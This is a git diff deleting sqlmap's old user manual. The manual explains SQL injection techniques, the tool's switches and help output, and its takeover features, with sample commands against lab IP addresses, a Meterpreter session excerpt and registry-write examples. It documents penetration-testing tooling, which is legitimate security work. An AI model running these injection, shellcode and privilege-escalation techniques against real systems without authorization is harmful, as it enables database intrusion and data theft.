-Hardware MAC: 00:00:00:00:00:00
-IP Address : 127.0.0.1
-Netmask : 255.0.0.0
-
-
-
-Intel(R) PRO/1000 MT Network Connection
-Hardware MAC: 00:0c:29:fc:79:39
-IP Address : 192.168.136.129
-Netmask : 255.255.255.0
-
-
-meterpreter > exit
-
-[*] Meterpreter session 1 closed. Reason: User exit
-
-
-
-
-By default MySQL on Windows runs as SYSTEM, however PostgreSQL
-runs as a low-privileged user postgres on both Windows and Linux.
-Microsoft SQL Server 2000 by default runs as SYSTEM, whereas
-Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
-SERVICE and sometimes as LOCAL SERVICE.
-
-It is possible to provide sqlmap with the --priv-esc
-switch to perform a database process' user privilege escalation
-via Metasploit's getsystem command which include, among others,
-the
-kitrap0d technique (
-MS10-015 ).
-
-
-
-
-It is possible to access Windows registry when the back-end database
-management system is either MySQL, PostgreSQL or Microsoft SQL Server,
-and when the web application supports stacked queries. Also, session user
-has to have the needed privileges to access it.
-
-Read a Windows registry key value
-
-Switch: --reg-read
-
-Using this option you can read registry key values.
-
-Write a Windows registry key value
-
-Switch: --reg-add
-
-Using this option you can write registry key values.
-
-Delete a Windows registry key
-
-Switch: --reg-del
-
-Using this option you can delete registry keys.
-
-Auxiliary registry switches
-
-Switches: --reg-key, --reg-value,
---reg-data and --reg-type
-
-These switches can be used to provide data needed for proper running of
-options --reg-read, --reg-add and
---reg-del. So, instead of providing registry key
-information when asked, you can use them at command prompt as program
-arguments.
-
-With --reg-key option you specify used Windows registry
-key path, with --reg-value value item name inside
-provided key, with --reg-data value data, while with
---reg-type option you specify type of the value item.
-
-A sample command line for adding a registry key hive follows:
-
-
-
-$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
- --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-
-
-
-
-
-
-
-Log HTTP(s) traffic to a textual file
-
-Switch: -t
-
-This switch requires an argument that specified the textual file to write
-all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s)
-responses.
-
-This is useful primarily for debug purposes.
-
-
-Session file: save and resume data retrieved
-
-Switch: -s
-
-By default sqlmap logs all queries and their output into a textual file
-called session file , regardless of the technique used to extract
-the data.
-This is useful if you stop the injection for any reason and rerun it
-afterwards: sqlmap will parse the session file and resume enumerated data
-from it, then carry on extracting data from the exact point where it left
-before you stopped the tool.
-
-The default session file is output/TARGET_URL/session, but you
-can specify a different file path with -s switch.
-
-The session file has the following structure:
-
-
-
-[hh:mm:ss MM/DD/YY]
-[Target URL][Injection point][Parameters][Query or information name][Query output or value]
-
-
-
-
-A more user friendly textual file where all data retrieved is saved, is
-the log file , output/TARGET_URL/log. This file can be
-useful to see all information enumerated to the end.
-
-
-Flush session file
-
-Switch: --flush-session
-
-As you are already familiar with the concept of a session file from the
-description above, it is good to know that you can flush the content of
-that file using option --flush-session.
-This way you can avoid the caching mechanisms implemented by default in
-sqlmap. Other possible way is to manually remove the session file(s).
-
-
-Ignores query results stored in session file
-
-Switch: --fresh-queries
-
-As you are already familiar with the concept of a session file from the
-description above, it is good to know that you can ignore the content of
-that file using option --fresh-queries.
-This way you can keep the session file untouched and for a selected run,
-avoid the resuming/restoring of queries output.
-
-
-Estimated time of arrival
-
-Switch: --eta
-
-It is possible to calculate and show in real time the estimated time of
-arrival to retrieve each query output. This is shown when the technique
-used to retrieve the output is any of the blind SQL injection types.
-
-Example against an Oracle target affected only by boolean-based blind SQL
-injection:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
-
-[...]
-[hh:mm:01] [INFO] the back-end DBMS is Oracle
-[hh:mm:01] [INFO] fetching banner
-[hh:mm:01] [INFO] retrieving the length of query output
-[hh:mm:01] [INFO] retrieved: 64
-17% [========> ] 11/64 ETA 00:19
-
-
-
-
-Then:
-
-
-
-100% [===================================================] 64/64
-[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: Oracle
-banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
-
-
-
-
-As you can see, sqlmap first calculates the length of the query output,
-then estimates the time of arrival, shows the progress in percentage and
-counts the number of retrieved output characters.
-
-
-Update sqlmap
-
-Switch: --update
-
-Using this option you can update the tool to the latest development
-version directly from the subversion repository. You obviously need
-Internet access.
-
-If, for any reason, this operation fails, run git pull from
-your sqlmap working copy. It will perform the exact same operation of
-switch --update.
-If you are running sqlmap on Windows, you can use the
-SmartGit client.
-
-This is strongly recommended before reporting any bug to the
-mailing lists .
-
-
-Save options in a configuration INI file
-
-Switch: --save
-
-It is possible to save the command line options to a configuration INI
-file.
-The generated file can then be edited and passed to sqlmap with the
--c option as explained above.
-
-
-Act in non-interactive mode
-
-Switch: --batch
-
-If you want sqlmap to run as a batch tool, without any user's interaction
-when sqlmap requires it, you can force that by using
---batch switch. This will leave sqlmap to go with a
-default behaviour whenever user's input would be required.
-
-
-
-
-Alert when a SQL injection is detected
-
-Switch: --beep
-
-When this switch is provided, sqlmap will beep at every new SQL injection
-that it finds. It can be useful when you are processing in batch mode a
-Google dork output or a proxy log file so that you do not need to monitor
-the terminal constantly.
-
-
-IDS detection testing of injection payloads
-
-Switch: --check-payload
-
-Curious to see if a
-decent intrusion detection system (IDS) picks up sqlmap payloads?
-Use this switch!
-
-
-Cleanup the DBMS from sqlmap specific UDF(s) and table(s)
-
-Switch: --cleanup
-
-It is recommended to clean up the back-end database management system from
-sqlmap temporary table(s) and created user-defined function(s) when you
-are done taking over the underlying operating system or file system.
-Switch --cleanup will attempt to clean up the DBMS and
-the file system wherever possible.
-
-
-Parse and test forms' input fields
-
-Switch: --forms
-
-Say that you want to test against SQL injections a huge search form
-or you want to test a login bypass (typically only two input fields named
-like username and password ), you can either pass to sqlmap
-the request in a request file (-r), set the POSTed data
-accordingly (--data) or let sqlmap do it for you!
-
-Both of the above mentioned instances, and many others, appear as
-<form> and <input> tags in HTML response
-bodies and this is where this switch comes into play.
-
-Provide sqlmap with --forms as well as the page where
-the form can be found as the target url (-u) and sqlmap will
-request the target url for you, parse the forms it has and guide you
-through to test for SQL injection on those form input fields (parameters)
-rather than the target url provided.
-
-
-Use Google dork results from specified page number
-
-Switch: --gpage
-
-Default sqlmap behavior with option -g is to do a Google
-search and use the first 100 resulting URLs for further SQL injection
-testing. However, in combination with this option you can specify with
-this switch, --gpage, some page other than the first one
-to retrieve target URLs from.
-
-
-Imitate smartphone
-
-Switch: --mobile
-
-TODO
-
-
-Display page rank (PR) for Google dork results
-
-Switch: --page-rank
-
-Performs further requests to Google when -g is provided and
-display page rank (PR) for Google dork results.
-
-
-Parse DBMS error messages from response pages
-
-Switch: --parse-errors
-
-If the web application is configured in debug mode so that it displays
-in the HTTP responses the back-end database management system error
-messages, sqlmap can parse and display them for you.
-This is useful for debugging purposes like understanding why a certain
-enumeration or takeover switch does not work - it might be a matter of
-session user's privileges and in this case you would see a DBMS error
-message along the lines of Access denied for user <SESSION
-USER>.
-
-
-Replicate dumped data into a sqlite3 database
-
-Switch: --replicate
-
-If you want to store in a local SQLite 3 database file each dumped table
-(--dump or --dump-all), you can
-provide sqlmap with the --replicate switch at dump
-phase. This will create a <TABLE_NAME>.sqlite3 rather than
-a <DB_NAME>/<TABLE_NAME>.csv file into
-output/TARGET_URL/dump/ directory.
-
-You can then use sqlmap itself to read and query the locally created
-SQLite 3 file. For instance, python sqlmap.py -d
-sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table.
-
-
-Simple wizard interface for beginner users
-
-Switch: --wizard
-
-Do you really want to know?
-
-
-
-
-sqlmap is released under the terms of the
-General Public License v2 .
-sqlmap is copyrighted by its
-developers .
-
-
-
-
-sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
-WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
-FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
-details.
-
-Whatever you do with this tool is uniquely your responsibility. If you are
-not authorized to punch holes in the network you are attacking be aware
-that such action might get you in trouble with a lot of law enforcement
-agencies.
-
-
-
-
-
-Bernardo Damele A. G. (inquis)
-
-Miroslav Stampar (stamparm)
-
-
-
diff --git a/doc/README.pdf b/doc/README.pdf
deleted file mode 100644
index 6db67ac1cf3..00000000000
Binary files a/doc/README.pdf and /dev/null differ
diff --git a/doc/README.sgml b/doc/README.sgml
deleted file mode 100644
index 86f755882b4..00000000000
--- a/doc/README.sgml
+++ /dev/null
@@ -1,3342 +0,0 @@
-
-
-
-
-sqlmap user's manual
-by ,
-version 1.0-dev, XXX XX, 2012
-
-This document is the user's manual for .
-
-
-
-
-
-Introduction
-
-
-sqlmap is an open source penetration testing tool that automates the
-process of detecting and exploiting SQL injection flaws and taking over of
-database servers. It comes with a powerful detection engine, many niche
-features for the ultimate penetration tester and a broad range of switches
-lasting from database fingerprinting, over data fetching from the
-database, to accessing the underlying file system and executing commands
-on the operating system via out-of-band connections.
-
-
-Requirements
-
-
-sqlmap is developed in ,
-a dynamic, object-oriented, interpreted programming language freely available from
-.
-This makes sqlmap a cross-platform application which is independant of the
-operating system. sqlmap requires Python version 2.6 or above.
-To make it even easier, many GNU/Linux distributions come out of the box
-with Python installed. Other Unixes and Mac OSX also provide Python packaged
-and ready to be installed.
-Windows users can download and install the Python installer for x86, AMD64 and Itanium.
-
-sqlmap relies on the for some of its post-exploitation takeover
-features. You need to grab a copy of the framework from the
-
-page - the required version is 3.5 or higher.
-For the ICMP tunneling out-of-band takeover technique, sqlmap requires the
- library too.
-
-If you are willing to connect directly to a database server (-d switch),
-without passing through the web application, you need to install Python bindings
-for the database management system that you are going to attack:
-
-
-- Firebird:
.
-- Microsoft Access:
.
-- Microsoft SQL Server:
.
-- MySQL:
.
-- Oracle:
.
-- PostgreSQL:
.
-- SQLite:
.
-- Sybase:
.
-
-
-If you plan to attack a web application behind NTLM authentication or use
-the sqlmap update functionality (- -update switch) you need to
-install respectively and libraries respectively.
-
-Optionally, if you are running sqlmap on Windows, you may wish to install the
-
-library in order to take advantage of the sqlmap TAB completion and
-history support features in the SQL shell and OS shell.
-Note that these functionalities are available natively via the standard Python
-
-library on other operating systems.
-
-You can also choose to install the library to eventually speed up the sqlmap algorithmic
-operations.
-
-
-Scenario
-
-Detect and exploit a SQL injection
-
-Let's say that you are auditing a web application and found a web page
-that accepts dynamic user-provided values via GET , POST
-or Cookie parameters or via the HTTP User-Agent
-request header.
-You now want to test if these are affected by a SQL injection
-vulnerability, and if so, exploit them to retrieve as much information as
-possible from the back-end database management system, or even be able to
-access the underlying file system and operating system.
-
-In a simple world, consider that the target url is:
-
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-
-Assume that:
-
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
-
-is the same page as the original one and (the condition evaluates to True ):
-
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
-
-differs from the original one (the condition evaluates to False ).
-This likely means that you are in front of a SQL
-injection vulnerability in the id GET parameter of the
-index.php page. Additionally, no sanitisation of user's supplied
-input is taking place before the SQL statement is sent to the
-back-end database management system.
-
-This is quite a common flaw in dynamic content web applications and it
-does not depend upon the back-end database management system nor on the web
-application programming language; it is a flaw within the application code.
-The
-rated this class of vulnerability as the and serious web application vulnerability in their
- list from 2010.
-
-Now that you have found the vulnerable parameter, you can exploit it by
-manipulating the id parameter value in the HTTP request.
-
-Back to the scenario, we can make an educated guess about the probable
-syntax of the SQL SELECT statement where the user supplied value is
-being used in the get_int.php web page. In pseudo PHP code:
-
-
-$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
-
-
-As you can see, appending a syntactically valid SQL statement that will
-evaluate to a True condition after the value for the id
-parameter (such as id=1 AND 1=1 ) will result in the web application
-returning the same web page as in the original request (where no SQL
-statement is added).
-This is because the back-end database management system has evaluated the
-injected SQL statement.
-The previous example describes a simple boolean-based blind SQL injection
-vulnerability.
-However, sqlmap is able to detect any type of SQL injection flaw and adapt
-its work-flow accordingly.
-
-In this simple scenario it would also be possible to append, not just one or
-more valid SQL conditions, but also (depending on the DBMS) stacked SQL
-queries. For instance: [...]&id=1;ANOTHER SQL QUERY# .
-
-sqlmap can automate the process of identifying and exploiting this type of
-vulnerability.
-Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-to sqlmap, the tool will automatically:
-
-
-- Identify the vulnerable parameter(s) (
id in this example);
-- Identify which SQL injection techniques can be used to exploit the
-vulnerable parameter(s);
-
- Fingerprint the back-end database management system;
-
- Depending on the user's options, it will extensively fingerprint,
-enumerate data or takeover the database server as a whole.
-
-...and depending on supplied options, it will enumerate data or takeover the
-database server entirely.
-
-There exist many
-on the web explaining in depth how to detect, exploit and prevent SQL
-injection vulnerabilities in web applications. It is recommendeded that you read
-them before going much further with sqlmap.
-
-Direct connection to the database management system
-
-Up until sqlmap version 0.8 , the tool has been yet another
-SQL injection tool , used by web application penetration testers/newbies/curious
-teens/computer addicted/punks and so on. Things move on
-and as they evolve, we do as well. Now it supports this new switch,
--d , that allows you to connect from your machine to the database
-server's TCP port where the database management system daemon is listening
-on and perform any operation you would do while using it to attack a
-database via a SQL injection vulnerability.
-
-
-Techniques
-
-
-sqlmap is able to detect and exploit five different SQL injection
-types :
-
-
-Boolean-based blind SQL injection , also known as inferential
-SQL injection : sqlmap replaces or appends to the affected parameter in
-the HTTP request, a syntatically valid SQL statement string containing a
-SELECT sub-statement, or any other SQL statement whose the user
-want to retrieve the output.
-For each HTTP response, by making a comparison between the HTTP response
-headers/body with the original request, the tool inference the output of
-the injected statement character by character. Alternatively, the user
-can provide a string or regular expression to match on True pages.
-The bisection algorithm implemented in sqlmap to perform this technique
-is able to fetch each character of the output with a maximum of seven HTTP
-requests. Where the output is not within the clear-text plain charset,
-sqlmap will adapt the algorithm with bigger ranges to detect the output.
-Time-based blind SQL injection , also known as full blind
-SQL injection : sqlmap replaces or appends to the affected parameter in
-the HTTP request, a syntatically valid SQL statement string containing a
-query which put on hold the back-end DBMS to return for a certain number
-of seconds.
-For each HTTP response, by making a comparison between the HTTP response
-time with the original request, the tool inference the output of
-the injected statement character by character. Like for boolean-based
-technique, the bisection algorithm is applied.
-Error-based SQL injection : sqlmap replaces or appends to
-the affected parameter a database-specific error message provoking statement
-and parses the HTTP response headers and body in search of DBMS error messages
-containing the injected pre-defined chain of characters and the subquery
-statement output within. This technique works only when the web application
-has been configured to disclose back-end database management system error
-messages.
-UNION query SQL injection , also known as inband SQL
-injection : sqlmap appends to the affected parameter a syntatically
-valid SQL statement starting with an UNION ALL SELECT .
-This techique works when the web application page passes directly the output
-of the SELECT statement within a for loop, or similar, so
-that each line of the query output is printed on the page content.
-sqlmap is also able to exploit partial (single entry) UNION query SQL
-injection vulnerabilities which occur when the output of the
-statement is not cycled in a for construct, whereas only the first
-entry of the query output is displayed.
-Stacked queries SQL injection , also known as multiple
-statements SQL injection : sqlmap tests if the web application supports
-stacked queries and then, in case it does support, it appends to the affected
-parameter in the HTTP request, a semi-colon (; ) followed by the
-SQL statement to be executed. This technique is useful to run SQL
-statements other than SELECT , like for instance, data
-definition or data manipulation statements, possibly leading
-to file system read and write access and operating system command
-execution depending on the underlying back-end database management system
-and the session user privileges.
-
-
-
-Demo
-
-
-You can watch several demo videos, they are hosted on .
-
-
-Features
-
-
-Features implemented in sqlmap include:
-
-
-Generic features
-
-
-
-- Full support for
MySQL , Oracle , PostgreSQL ,
-Microsoft SQL Server , Microsoft Access , SQLite ,
-Firebird , Sybase and SAP MaxDB database
-management systems.
-
-- Full support for five SQL injection techniques:
boolean-based
-blind , time-based blind , error-based ,
-UNION query and stacked queries .
-
-- Support to
directly connect to the database without passing
-via a SQL injection, by providing DBMS credentials, IP address, port and
-database name.
-
-- It is possible to provide a single target URL, get the list of
-targets from
-or requests log files, get the whole HTTP request
-from a text file or get the list of targets by providing sqlmap with a
-Google dork which queries search engine and parses its results page. You can also
-define a regular-expression based scope that is used to identify which of
-the parsed addresses to test.
-
-- Tests provided
GET parameters, POST parameters,
-HTTP Cookie header values, HTTP User-Agent header value
-and HTTP Referer header value to identify and exploit SQL
-injection vulnerabilities. It is also possible to specify a comma-separated
-list of specific parameter(s) to test.
-
-- Option to specify the
maximum number of concurrent HTTP(S)
-requests (multi-threading) to speed up the blind SQL injection
-techniques. Vice versa, it is also possible to specify the number of
-seconds to hold between each HTTP(S) request. Others optimization switches
-to speed up the exploitation are implemented too.
-
-HTTP Cookie header string support, useful when the
-web application requires authentication based upon cookies and you have
-such data or in case you just want to test for and exploit SQL injection
-on such header values. You can also specify to always URL-encode the
-Cookie.
-
-- Automatically handles
HTTP Set-Cookie header from
-the application, re-establishing of the session if it expires. Test and
-exploit on these values is supported too. Vice versa, you can also force
-to ignore any Set-Cookie header.
-
-- HTTP protocol
Basic, Digest, NTLM and Certificate
-authentications support.
-
-HTTP(S) proxy support to pass by the requests to the target
-application that works also with HTTPS requests and with authenticated
-proxy servers.
-
-- Options to fake the
HTTP Referer header value and
-the HTTP User-Agent header value specified by user or
-randomly selected from a textual file.
-
-- Support to increase the
verbosity level of output messages :
-there exist seven levels of verbosity.
-
-- Support to
parse HTML forms from the target URL and forge
-HTTP(S) requests against those pages to test the form parameters against
-vulnerabilities.
-
-Granularity and flexibility in terms of both user's
-switches and features.
-
-Estimated time of arrival support for each query, updated
-in real time, to provide the user with an overview on how long it will
-take to retrieve the queries' output.
-
-- Automatically saves the session (queries and their output, even if
-partially retrieved) on a textual file in real time while fetching the
-data and
resumes the injection by parsing the session file.
-
-- Support to read options from a configuration INI file rather than
-specify each time all of the switches on the command line. Support also to
-generate a configuration file based on the command line switches provided.
-
-
- Support to
replicate the back-end database tables structure and
-entries on a local SQLite 3 database.
-
-- Option to update sqlmap to the latest development version from the
-subversion repository.
-
-
- Support to parse HTTP(S) responses and display any DBMS error
-message to the user.
-
-
- Integration with other IT security open source projects,
-
and .
-
-
-
-Fingerprint and enumeration features
-
-
-
-Extensive back-end database software version and underlying
-operating system fingerprint based upon
-,
-,
- and
-
-such as MySQL comment injection. It is also possible to force the back-end
-database management system name if you already know it.
-
-- Basic web server software and web application technology
-fingerprint.
-
-
- Support to retrieve the DBMS
banner , session user
-and current database information. The tool can also check if the
-session user is a database administrator (DBA).
-
-- Support to enumerate
database users , users' password
-hashes , users' privileges , users' roles ,
-databases , tables and columns .
-
-- Automatic recognition of password hashes format and support to
-
crack them with a dictionary-based attack .
-
-- Support to
brute-force tables and columns name . This is
-useful when the session user has no read access over the system table
-containing schema information or when the database management system does
-not store this information anywhere (e.g. MySQL < 5.0).
-
-- Support to
dump database tables entirely, a range of
-entries or specific columns as per user's choice. The user can also choose
-to dump only a range of characters from each column's entry.
-
-- Support to automatically
dump all databases ' schemas and
-entries. It is possibly to exclude from the dump the system databases.
-
-- Support to
search for specific database names, specific tables
-across all databases or specific columns across all databases'
-tables . This is useful, for instance, to identify tables containing
-custom application credentials where relevant columns' names contain
-string like name and pass .
-
-- Support to
run custom SQL statement(s) as in an interactive
-SQL client connecting to the back-end database. sqlmap automatically
-dissects the provided statement, determines which technique fits best to
-inject it and how to pack the SQL payload accordingly.
-
-
-
-Takeover features
-
-
-Some of these techniques are detailed in the white paper
- and in the
-slide deck .
-
-
-- Support to
inject custom user-defined functions : the user
-can compile a shared library then use sqlmap to create within the back-end
-DBMS user-defined functions out of the compiled shared library file. These
-UDFs can then be executed, and optionally removed, via sqlmap. This is
-supported when the database software is MySQL or PostgreSQL.
-
-- Support to
download and upload any file from the database
-server underlying file system when the database software is MySQL,
-PostgreSQL or Microsoft SQL Server.
-
-- Support to
execute arbitrary commands and retrieve their
-standard output on the database server underlying operating system
-when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-
-- On MySQL and PostgreSQL via user-defined function injection and
-execution.
-
- On Microsoft SQL Server via
xp_cmdshell() stored procedure.
-Also, the stored procedure is re-enabled if disabled or created from
-scratch if removed by the DBA.
-
-
-- Support to
establish an out-of-band stateful TCP connection
-between the attacker machine and the database server underlying
-operating system. This channel can be an interactive command prompt, a
-Meterpreter session or a graphical user interface (VNC) session as per
-user's choice.
-sqlmap relies on Metasploit to create the shellcode and implements four
-different techniques to execute it on the database server. These
-techniques are:
-
-- Database
in-memory execution of the Metasploit's shellcode
-via sqlmap own user-defined function sys_bineval() . Supported on
-MySQL and PostgreSQL.
-- Upload and execution of a Metasploit's
stand-alone payload
-stager via sqlmap own user-defined function sys_exec() on
-MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
-Server.
-- Execution of Metasploit's shellcode by performing a
SMB
-reflection attack () with a UNC path request from the database server to
-the attacker's machine where the Metasploit smb_relay server
-exploit listens. Supported when running sqlmap with high privileges
-(uid=0 ) on Linux/Unix and the target DBMS runs as Administrator
-on Windows.
-- Database in-memory execution of the Metasploit's shellcode by
-exploiting
Microsoft SQL Server 2000 and 2005
-sp_replwritetovarbin stored procedure heap-based buffer
-overflow (). sqlmap has its own exploit to trigger the
-vulnerability with automatic DEP memory protection bypass, but it relies
-on Metasploit to generate the shellcode to get executed upon successful
-exploitation.
-
-
-- Support for
database process' user privilege escalation via
-Metasploit's getsystem command which include, among others,
-the technique ().
-
-- Support to access (read/add/delete) Windows registry hives.
-
-
-
-History
-
-2011
-
-
-
-April 10 , release sqlmap
-0.9 featuring a totally rewritten and powerful SQL injection
-detection engine, the possibility to connect directly to a database
-server, support for time-based blind SQL injection and error-based SQL
-injection, support for four new database management systems and much more.
-
-
-2010
-
-
-
-December , have enhanced sqlmap a
-lot during the whole year and prepare to release sqlmap 0.9
-within the first quarter of 2011.
-June 3 , Bernardo
-a talk titled Got database access? Own the network! at AthCon
-2010 in Athens (Greece).
-March 14 , release stable version of
-sqlmap 0.8 featuring many features. Amongst these, support to
-enumerate and dump all databases' tables containing user provided
-column(s), stabilization and enhancements to the takeover functionalities,
-updated integration with Metasploit 3.3.3 and a lot of minor features and
-bug fixes.
-March , sqlmap demo videos have been .
-January , Bernardo is to present at conference in
-Greece on June 2010.
-
-
-2009
-
-
-
-December 18 , Miroslav Stampar replies to the call for
-developers. Along with Bernardo, he actively develops sqlmap from version
-0.8 release candidate 2 .
-
-December 12 , Bernardo writes to the mailing list a post
-titled highlighting the goals
-achieved during these first three years of the project and launches a call
-for developers.
-
-December 4 , sqlmap-devel mailing list has been merged into
-sqlmap-users .
-
-November 20 , Bernardo and Guido present again their
-research on stealth database server takeover at CONfidence 2009 in Warsaw,
-Poland.
-
-September 26 , sqlmap version 0.8 release candidate
-1 goes public on the , with all the attack
-vectors unveiled at SOURCE Barcelona 2009 Conference. These include an
-enhanced version of the Microsoft SQL Server buffer overflow exploit to
-automatically bypass DEP memory protection, support to establish the
-out-of-band connection with the database server by executing in-memory
-the Metasploit shellcode via UDF sys_bineval() (anti-forensics
-technique), support to access the Windows registry hives and support to
-inject custom user-defined functions.
-
-September 21 , Bernardo and
-their research ()
-at SOURCE Conference 2009 in Barcelona, Spain.
-
-August , Bernardo is accepted as a speaker at two others IT
-security conferences, and .
-This new research is titled Expanding the control over the operating
-system from the database .
-
-July 25 , stable version of sqlmap 0.7 is out!
-
-June 27 , Bernardo
-an updated version of his
-SQL injection: Not only AND 1=1 slides at in
-Lisbon, Portugal.
-
-June 2 , sqlmap version 0.6.4 has made its way to
-the official Ubuntu repository too.
-
-May , Bernardo presents again his research on operating
-system takeover via SQL injection at in Warsaw, Poland and at in London, UK.
-
-May 8 , sqlmap version 0.6.4 has been officially
-accepted in Debian repository. Details on .
-
-April 22 , sqlmap version 0.7 release candidate 1
-goes public, with all the attack vectors unveiled at Black Hat Europe 2009
-Conference.
-These include execution of arbitrary commands on the underlying operating
-system, full integration with Metasploit to establish an out-of-band
-TCP connection, first publicly available exploit for Microsoft Security
-Bulletin against Microsoft SQL Server 2000 and 2005 and others
-attacks to takeover the database server as a whole, not only the data from
-the database.
-
-April 16 , Bernardo his research (, ) at Black Hat Europe 2009 in Amsterdam, The Netherlands.
-The feedback from the audience is good and there has been some
- too.
-
-March 5 , Bernardo for the first time some of the sqlmap recent features and
-upcoming enhancements at an international event, in Denver, USA. The presentation
-is titled SQL injection: Not only AND 1=1 .
-
-February 24 , Bernardo is accepted as a at with a presentation titled Advanced SQL
-injection exploitation to operating system full control .
-
-February 3 , sqlmap 0.6.4 is the last point release
-for 0.6: taking advantage of the stacked queries test implemented in 0.6.3,
-sqlmap can now be used to execute any arbitrary SQL statement, not only
-SELECT anymore. Also, many features have been stabilized, tweaked
-and improved in terms of speed in this release.
-
-January 9 , Bernardo SQL injection exploitation internals at a
-private event in London, UK.
-
-
-2008
-
-
-
-December 18 , sqlmap 0.6.3 is released featuring
-support to retrieve targets from Burp and WebScarab proxies log files,
-support to test for stacked queries ant time-based blind SQL injection,
-rough fingerprint of the web server and web application technologies in
-use and more options to customize the HTTP requests and enumerate more
-information from the database.
-
-November 2 , sqlmap version 0.6.2 is a "bug fixes"
-release only.
-
-October 20 , sqlmap first point release, 0.6.1 , goes
-public. This includes minor bug fixes and the first contact between the
-tool and :
-an auxiliary module to launch sqlmap from within Metasploit Framework.
-The goes public again.
-
-September 1 , nearly one year after the previous release,
-sqlmap 0.6 comes to life featuring a complete code
-refactoring, support to execute arbitrary SQL SELECT statements,
-more options to enumerate and dump specific information are added, brand
-new installation packages for Debian, Red Hat, Windows and much more.
-
-August , two public are created on SourceForge.
-
-January , sqlmap subversion development repository is moved
-away from SourceForge and goes private for a while.
-
-
-2007
-
-
-
-November 4 , release 0.5 marks the end of the OWASP
-Spring of Code 2007 contest participation. Bernardo has all the propsed objects which include also initial
-support for Oracle, enhanced support for UNION query SQL injection and
-support to test and exploit SQL injections in HTTP Cookie and User-Agent
-headers.
-
-June 15 , Bernardo releases version 0.4 as a
-result of the first OWASP Spring of Code 2007 milestone. This release
-features, amongst others, improvements to the DBMS fingerprint engine,
-support to calculate the estimated time of arrival, options to enumerate
-specific data from the database server and brand new logging system.
-
-April , even though sqlmap was not and is not
-an OWASP project, it gets , amongst many other open source projects to OWASP Spring
-of Code 2007.
-
-March 30 , Bernardo applies to OWASP .
-
-January 20 , sqlmap version 0.3 is released,
-featuring initial support for Microsoft SQL Server, support to test
-and exploit UNION query SQL injections and injection points in POST
-parameters.
-
-
-2006
-
-
-
-December 13 , Bernardo releases version 0.2 with
-major enhancements to the DBMS fingerprint functionalities and replacement
-of the old inference algorithm with the bisection algorithm.
-
-September , Daniele leaves the project,
-takes it over.
-
-August , Daniele adds initial support for PostgreSQL and releases
-version 0.1 .
-
-July 25 ,
-registers the sqlmap project on SourceForge and develops it on the
-. The skeleton is implemented and
-limited support for MySQL added.
-
-
-
-Download and update
-
-
-sqlmap can be downloaded from its
-.
-It is available in two formats:
-
-
-.
-
-.
-
-
-
-You can also checkout the latest development version from the
-
-repository:
-
-
-$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
-
-
-You can update it at any time to the latest development version by running:
-
-
-$ python sqlmap.py --update
-
-
-Or:
-
-
-$ git pull
-
-
-
-This is strongly recommended before reporting any bug to the
-.
-
-
-Usage
-
-
-
-$ python sqlmap.py -h
-
- sqlmap/1.0 - automatic SQL injection and database takeover tool
- http://www.sqlmap.org
-
-Usage: python sqlmap.py [options]
-
-Options:
- --version show program's version number and exit
- -h, --help show this help message and exit
- -v VERBOSE Verbosity level: 0-6 (default 1)
-
- Target:
- At least one of these options has to be specified to set the source to
- get target urls from.
-
- -d DIRECT Direct connection to the database
- -u URL, --url=URL Target url
- -l LIST Parse targets from Burp or WebScarab proxy logs
- -r REQUESTFILE Load HTTP request from a file
- -g GOOGLEDORK Process Google dork results as target urls
- -c CONFIGFILE Load options from a configuration INI file
-
- Request:
- These options can be used to specify how to connect to the target url.
-
- --data=DATA Data string to be sent through POST
- --cookie=COOKIE HTTP Cookie header
- --cookie-urlencode URL Encode generated cookie injections
- --drop-set-cookie Ignore Set-Cookie header from response
- --user-agent=AGENT HTTP User-Agent header
- --random-agent Use randomly selected HTTP User-Agent header
- --referer=REFERER HTTP Referer header
- --headers=HEADERS Extra HTTP headers newline separated
- --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
- --auth-cred=ACRED HTTP authentication credentials (name:password)
- --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
- --proxy=PROXY Use a HTTP proxy to connect to the target url
- --proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
- --ignore-proxy Ignore system default HTTP proxy
- --delay=DELAY Delay in seconds between each HTTP request
- --timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
- --retries=RETRIES Retries when the connection timeouts (default 3)
- --scope=SCOPE Regexp to filter targets from provided proxy log
- --safe-url=SAFURL Url address to visit frequently during testing
- --safe-freq=SAFREQ Test requests between two visits to a given safe url
-
- Optimization:
- These options can be used to optimize the performance of sqlmap.
-
- -o Turn on all optimization switches
- --predict-output Predict common queries output
- --keep-alive Use persistent HTTP(s) connections
- --null-connection Retrieve page length without actual HTTP response body
- --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
-
- Injection:
- These options can be used to specify which parameters to test for,
- provide custom injection payloads and optional tampering scripts.
-
- -p TESTPARAMETER Testable parameter(s)
- --dbms=DBMS Force back-end DBMS to this value
- --os=OS Force back-end DBMS operating system to this value
- --prefix=PREFIX Injection payload prefix string
- --suffix=SUFFIX Injection payload suffix string
- --tamper=TAMPER Use given script(s) for tampering injection data
-
- Detection:
- These options can be used to specify how to parse and compare page
